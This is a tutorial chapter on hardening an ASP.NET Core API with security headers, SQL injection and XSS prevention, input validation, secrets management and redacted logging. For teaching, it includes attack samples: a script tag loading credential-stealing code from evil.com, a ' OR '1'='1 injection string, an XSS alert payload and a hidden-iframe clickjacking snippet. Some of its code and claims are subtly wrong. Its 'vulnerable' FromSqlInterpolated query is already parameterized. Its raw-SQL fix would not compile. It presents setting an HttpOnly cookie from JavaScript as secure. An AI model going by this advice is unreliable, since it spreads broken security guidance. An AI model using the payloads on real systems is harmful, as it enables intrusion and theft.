35. Security Headers & Best Practices

Implementing security headers, preventing SQL injection, XSS attacks, and managing secrets securely

About this chapter

Implement multiple security layers including HTTP security headers, input validation, parameterized queries, and secrets management to protect your API.

  • Defense in depth: Multiple security layers working together
  • Security headers: HSTS, CSP, X-Frame-Options, and other protective headers
  • SQL injection prevention: Using parameterized queries and EF Core
  • XSS prevention: Input validation and output encoding
  • Secrets management: Protecting API keys, passwords, and connection strings
  • Best practices: Following security principles and avoiding common mistakes

Learning outcomes:

  • Understand defense-in-depth security strategies
  • Implement security headers middleware
  • Prevent SQL injection with parameterized queries
  • Validate input to prevent XSS attacks
  • Manage secrets securely using User Secrets or vaults
  • Identify and mitigate common API security vulnerabilities

35.1 Security Defense in Depth

Security isn’t one thing—it’s layers:

Layer 1: HTTPS (encrypt data in transit)
Layer 2: Input validation (reject bad data)
Layer 3: Parameterized queries (prevent SQL injection)
Layer 4: Security headers (browser protection)
Layer 5: Authentication/Authorization (who are you?)
Layer 6: Rate limiting (prevent brute force)
Layer 7: Secrets management (secure API keys)

Remove any layer and you’re vulnerable. This chapter covers layers 4 and 7, plus best practices for 3 and 5.

35.2 Security Headers Middleware

Create a middleware to add security headers to every response:

// Middleware/SecurityHeadersMiddleware.cs
public class SecurityHeadersMiddleware
{
    private readonly RequestDelegate _next;

    public SecurityHeadersMiddleware(RequestDelegate next)
    {
        _next = next;
    }

    public async Task InvokeAsync(HttpContext context)
    {
        // Add security headers before response is sent
        AddSecurityHeaders(context);
        await _next(context);
    }

    private void AddSecurityHeaders(HttpContext context)
    {
        // HSTS: Force HTTPS for future requests
        context.Response.Headers.Add("Strict-Transport-Security",
            "max-age=31536000; includeSubDomains");

        // Prevent MIME type sniffing
        context.Response.Headers.Add("X-Content-Type-Options", "nosniff");

        // Prevent clickjacking
        context.Response.Headers.Add("X-Frame-Options", "DENY");

        // XSS Protection (legacy, for older browsers)
        context.Response.Headers.Add("X-XSS-Protection", "1; mode=block");

        // Content Security Policy
        context.Response.Headers.Add("Content-Security-Policy",
            "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'");

        // Referrer Policy
        context.Response.Headers.Add("Referrer-Policy", "strict-origin-when-cross-origin");

        // Feature Policy (Permissions Policy)
        context.Response.Headers.Add("Permissions-Policy",
            "geolocation=(), microphone=(), camera=()");
    }
}

// In Program.cs
app.UseMiddleware<SecurityHeadersMiddleware>();

35.3 HSTS (HTTP Strict Transport Security)

Problem: User types http://api.example.com (http, not https)

Browser requests http://api.example.com
    ↓
Attacker intercepts request (no encryption)
    ↓
Attacker reads API responses, credentials, data

Solution: HSTS

First response tells browser: “Always use HTTPS for this domain”

HTTP/1.1 200 OK
Strict-Transport-Security: max-age=31536000; includeSubDomains

Browser remembers this. Next time:

User types: http://api.example.com
Browser automatically redirects to: https://api.example.com

Configuration:

// Program.cs
app.UseHsts();  // Built-in ASP.NET Core HSTS middleware

// Customize HSTS
var hstsBuilder = app.UseHsts();
hstsBuilder.WithMaxAge(days: 365);  // 1 year
hstsBuilder.IncludeSubDomains();    // Apply to subdomains too

35.4 CSP (Content Security Policy)

Problem: XSS attack injects malicious script

<!-- Original page -->
<h1>Commands</h1>
<script src="https://api.example.com/commands"></script>

<!-- Attacker injects script -->
<h1>Commands</h1>
<script src="https://api.example.com/commands"></script>
<script src="https://evil.com/steal-credentials.js"></script>

Browser runs both scripts. Attacker steals data.

Solution: CSP

Content-Security-Policy: default-src 'self'; script-src 'self'

Says: “Only allow scripts from my own domain, nowhere else”

Attacker’s <script src="https://evil.com/..."> is blocked.

Common CSP directives:

default-src 'self'                    # Default: only same origin
script-src 'self'                     # Scripts: only same origin
style-src 'self' 'unsafe-inline'      # Styles: same origin + inline
img-src *                             # Images: anywhere
font-src data:                        # Fonts: only data URIs
connect-src 'self'                    # XMLHttpRequest/fetch: only same origin
media-src 'none'                      # Audio/video: nowhere
object-src 'none'                     # Plugins: nowhere
frame-ancestors 'none'                # Embedding: nowhere

In production:

context.Response.Headers.Add("Content-Security-Policy",
    "default-src 'self'; " +
    "script-src 'self'; " +
    "style-src 'self'; " +
    "img-src 'self' data: https:; " +
    "font-src 'self'; " +
    "connect-src 'self'; " +
    "media-src 'none'; " +
    "object-src 'none'; " +
    "frame-ancestors 'none'");

35.5 X-Frame-Options (Clickjacking Prevention)

Problem: Attacker embeds your API in a hidden iframe

<!-- Attacker's page -->
<iframe src="https://api.example.com/delete?id=123" style="display:none"></iframe>

If user is logged in, the delete request silently executes.

Solution: X-Frame-Options

X-Frame-Options: DENY

Says: “Don’t allow embedding in iframes”

Browser blocks the iframe.

Values:

DENY                    # Never allow embedding
SAMEORIGIN              # Allow embedding only from same origin
ALLOW-FROM https://...  # Allow embedding from specific origin (deprecated)

Best practice:

context.Response.Headers.Add("X-Frame-Options", "DENY");

35.6 SQL Injection Prevention

Problem: String concatenation in queries

// ❌ WRONG - Vulnerable to SQL injection
string searchTerm = request.Query["search"];
var commands = _context.Commands
    .FromSqlInterpolated($"SELECT * FROM commands WHERE how_to LIKE '%{searchTerm}%'")
    .ToList();

// If user enters: ' OR '1'='1
// Query becomes: SELECT * FROM commands WHERE how_to LIKE '% ' OR '1'='1%'
// Returns ALL commands (authentication bypass!)

Solution: Parameterized queries

// ✓ RIGHT - Parameters prevent injection
string searchTerm = request.Query["search"];
var commands = _context.Commands
    .Where(c => c.HowTo.Contains(searchTerm))  // EF Core parameterizes this
    .ToList();

// Or with raw SQL:
var searchParam = new SqlParameter("@search", $"%{searchTerm}%");
var commands = _context.Commands
    .FromSqlInterpolated($"SELECT * FROM commands WHERE how_to LIKE @search", searchParam)
    .ToList();

Why it works:

Parameterized query:
  QUERY: SELECT * FROM commands WHERE how_to LIKE @search
  PARAM: @search = "' OR '1'='1"
  
  Database treats entire string as data, not SQL
  Searches for literal string: "' OR '1'='1"

Best practices:

  • Always use EF Core, Dapper, or parameterized raw SQL
  • Never concatenate user input into SQL strings
  • Use an ORM (we use EF Core)
  • Validate input length and type before querying

35.7 XSS (Cross-Site Scripting) Prevention

Problem: Output encoding

// User input
var userInput = "<script>alert('Hacked!')</script>";

// Store in database
var command = new Command { HowTo = userInput };
_repository.CreateCommand(command);

// Return in API response
return Ok(command);  // Sends JSON with script intact

JavaScript receives:

{
  "id": 1,
  "howTo": "<script>alert('Hacked!')</script>",
  "commandLine": "..."
}

If frontend displays this without escaping, script executes.

Solution: Output encoding in frontend

// In React
<p>{command.howTo}</p>  // React escapes by default

// In vanilla JS
const div = document.createElement('div');
div.textContent = command.howTo;  // textContent doesn't execute scripts
document.body.appendChild(div);

As API developer:

ASP.NET Core returns JSON by default, which is safe. JSON serializers don’t execute scripts. But:

  1. Document that frontend should escape HTML
  2. Use HtmlEncoder if returning HTML views
using System.Text.Encodings.Web;

var userInput = "<script>alert('Hacked!')</script>";
var encoded = HtmlEncoder.Default.Encode(userInput);
// Returns: &lt;script&gt;alert(&#x27;Hacked!&#x27;)&lt;/script&gt;

35.8 Input Validation & Sanitization

Problem: Trusting user input

// ❌ WRONG
public async Task<ActionResult> CreateCommand(CommandMutateDto dto)
{
    // No validation—what if dto has null fields? Huge negative numbers?
    var command = _mapper.Map<Command>(dto);
    _repository.CreateCommand(command);
    await _repository.SaveChangesAsync();
    return CreatedAtRoute(nameof(GetCommandById), new { id = command.Id }, command);
}

Solution: Validate everything

// ✓ RIGHT
public class CommandMutateDto
{
    [Required]
    [StringLength(200, MinimumLength = 5)]
    public string HowTo { get; set; }

    [Required]
    [StringLength(500)]
    public string CommandLine { get; set; }

    [Range(1, int.MaxValue)]
    public int PlatformId { get; set; }
}

// In controller
[HttpPost]
public async Task<ActionResult> CreateCommand([FromBody] CommandMutateDto dto)
{
    // ModelState.IsValid automatically checked (automatic from ASP.NET Core)
    if (!ModelState.IsValid)
        return BadRequest(ModelState);

    var command = _mapper.Map<Command>(dto);
    _repository.CreateCommand(command);
    await _repository.SaveChangesAsync();
    return CreatedAtRoute(nameof(GetCommandById), new { id = command.Id }, command);
}

Use FluentValidation for complex rules:

public class CommandMutateDtoValidator : AbstractValidator<CommandMutateDto>
{
    public CommandMutateDtoValidator()
    {
        RuleFor(x => x.HowTo)
            .NotEmpty()
            .Length(5, 200)
            .Matches(@"^[a-zA-Z0-9\s\-\.]+$")  // Only alphanumeric, spaces, dash, dot
            .WithMessage("HowTo contains invalid characters");

        RuleFor(x => x.CommandLine)
            .NotEmpty()
            .Length(1, 500)
            .Must(x => !x.Contains(";") && !x.Contains("|"))  // No dangerous chars
            .WithMessage("CommandLine contains dangerous characters");

        RuleFor(x => x.PlatformId)
            .GreaterThan(0)
            .MustAsync(async (id, ct) =>
            {
                // Verify platform exists
                return await _db.Platforms.AnyAsync(p => p.Id == id, ct);
            })
            .WithMessage("Platform not found");
    }
}

35.9 Secrets Management

Problem: Hardcoding secrets

// ❌ WRONG - Secrets in code
var connectionString = "Host=localhost;Username=admin;Password=SuperSecret123!";

var smtpPassword = "gmail-password-123";

var apiKey = "stripe-key-sk_live_abc123xyz";

Commits code to git → Secrets exposed in git history forever.

Solution: Environment-based configuration

// appsettings.json (safe—no secrets)
{
  "ConnectionStrings": {
    "DefaultConnection": "Host=localhost;Username=admin;Password=***"
  },
  "Email": {
    "SmtpHost": "smtp.gmail.com",
    "SmtpPort": 587
  }
}

// appsettings.Production.json (doesn't commit secrets either)
{
  "ConnectionStrings": {
    "DefaultConnection": "Host=prod-db;Username=db-user;Password=***"
  }
}

// Program.cs - Load from environment
var connectionString = builder.Configuration.GetConnectionString("DefaultConnection");

// Secrets come from environment variables/Azure Key Vault/AWS Secrets Manager
// Set at deployment time, NOT in code

Use User Secrets for development:

# Initialize user secrets
dotnet user-secrets init

# Set a secret
dotnet user-secrets set "ConnectionStrings:DefaultConnection" \
  "Host=localhost;Username=admin;Password=LocalPassword123"

# Secrets stored in OS-specific secure location, not in git

Use Azure Key Vault for production:

// Program.cs
if (builder.Environment.IsProduction())
{
    var keyVaultUrl = new Uri(builder.Configuration["KeyVault:Url"]);
    var credential = new DefaultAzureCredential();
    builder.Configuration.AddAzureKeyVault(keyVaultUrl, credential);
}

// Access secrets (automatically decrypted)
var dbPassword = builder.Configuration["DbPassword"];
var apiKey = builder.Configuration["StripeApiKey"];

Secrets checklist:

  • ✓ Never hardcode secrets
  • ✓ Use environment variables/Key Vault
  • ✓ Rotate secrets regularly
  • ✓ Use least-privilege secrets (minimum permissions needed)
  • ✓ Audit who accesses secrets
  • ✓ Don’t log secrets (filter from logs)

35.10 HTTPS Enforcement

Problem: Mixed HTTP/HTTPS

// ❌ WRONG - Allows both
app.Run();  // Listens on both 5000 (HTTP) and 5001 (HTTPS)

Users might accidentally hit HTTP endpoint.

Solution: Force HTTPS

// ✓ RIGHT
app.UseHttpsRedirection();  // Redirect HTTP to HTTPS

// Or require HTTPS
app.UseHsts();  // Tell browsers to always use HTTPS

Production:

  • Obtain SSL certificate (Let’s Encrypt is free)
  • Configure reverse proxy (nginx, IIS) to only accept HTTPS
  • Block port 80 at firewall
  • Ensure all external URLs use HTTPS

35.11 Authentication & Authorization Review

From Part 5, you implemented JWT authentication. Key reminders:

Store tokens securely:

// ❌ WRONG - Stores in localStorage (vulnerable to XSS)
localStorage.setItem('token', token);

// ✓ RIGHT - Stores in httpOnly cookie (not accessible to JavaScript)
// Set by server in Set-Cookie header with HttpOnly flag
document.cookie = "authToken=...;HttpOnly;Secure;SameSite=Strict";

Validate tokens on every request:

[Authorize]  // Validates token
[HttpGet]
public async Task<ActionResult> GetCommands()
{
    var userId = User.FindFirst(ClaimTypes.NameIdentifier).Value;
    // Now safe to use userId
}

Use least privilege:

[Authorize(Roles = "Admin")]  // Only admins
[HttpDelete("{id}")]
public async Task<ActionResult> DeleteCommand(int id)
{
    // Safe—non-admins can't reach this
}

35.12 Logging Sensitive Data

Problem: Logging secrets

// ❌ WRONG - Logs password
_logger.LogInformation("User {Username} logged in with password {Password}",
    username, password);

Logs contain password in plaintext. Very bad.

Solution: Don’t log sensitive data

// ✓ RIGHT
_logger.LogInformation("User {Username} logged in successfully", username);

// If you must log errors with sensitive context:
_logger.LogError("Login failed for user {Username}", username);
// Don't include password, API key, credit card, etc.

Redact secrets from logs:

// Custom logger to filter sensitive fields
public class RedactingLogger : ILogger
{
    private readonly ILogger _inner;
    private static readonly string[] SensitiveFields = 
        { "password", "apikey", "token", "credit", "ssn" };

    public void Log<TState>(LogLevel logLevel, EventId eventId, TState state, 
        Exception exception, Func<TState, Exception, string> formatter)
    {
        var message = formatter(state, exception);
        
        // Redact sensitive fields
        foreach (var field in SensitiveFields)
        {
            message = Regex.Replace(message, 
                $@"{field}[:\s=']*[^,\s']+", 
                $"{field}=***REDACTED***",
                RegexOptions.IgnoreCase);
        }

        _inner.Log(logLevel, eventId, message, exception, (s, ex) => s);
    }
}

35.13 Regular Security Practices

1. Keep dependencies updated:

# Check for vulnerable packages
dotnet list package --vulnerable

# Update packages
dotnet package update

2. Scan code for security issues:

# Using SonarQube
dotnet sonarscanner begin /k:"myproject"
dotnet build
dotnet sonarscanner end

# Using BinSkim (Microsoft)
binskim analyze bin/Release/net10.0/api.dll

3. Penetration testing:

  • Regularly test for XSS, SQL injection, broken auth
  • Use tools like OWASP ZAP, Burp Suite
  • Run in staging environment, not production

4. Security headers checklist:

# Test your API
curl -I https://api.example.com

# Should see:
# Strict-Transport-Security: max-age=31536000
# X-Content-Type-Options: nosniff
# X-Frame-Options: DENY
# Content-Security-Policy: ...

35.14 What’s Next

You now have:

  • ✓ Security headers (HSTS, CSP, X-Frame-Options)
  • ✓ SQL injection prevention (parameterized queries)
  • ✓ XSS protection (output encoding)
  • ✓ Input validation and sanitization
  • ✓ Secrets management (environment variables, Key Vault)
  • ✓ HTTPS enforcement
  • ✓ Authentication and authorization review
  • ✓ Secure logging practices

Next: Part 13 - Resilience & Reliability—Polly for retries, circuit breakers, and handling failures gracefully.